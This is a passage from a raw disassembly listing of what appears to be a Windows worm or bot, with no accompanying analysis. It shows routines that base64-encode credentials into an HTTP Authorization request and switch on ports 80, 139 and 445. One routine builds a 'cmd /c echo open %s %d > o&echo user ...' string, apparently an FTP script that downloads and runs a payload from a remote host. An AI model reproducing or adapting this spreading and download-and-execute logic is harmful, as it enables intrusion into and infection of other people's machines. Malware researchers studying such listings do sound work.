; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D9C[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D158
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F48
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACE0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DE0
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAFA4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB03C
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 2670000h
		nop

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431448[eax]
		lea	eax, dword_431448[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB5C4, 1
		jnz	short loc_40D888
		or	byte_4DB5C4, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_432200
		add	eax, 6
		mov	dword_4CDCC4, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
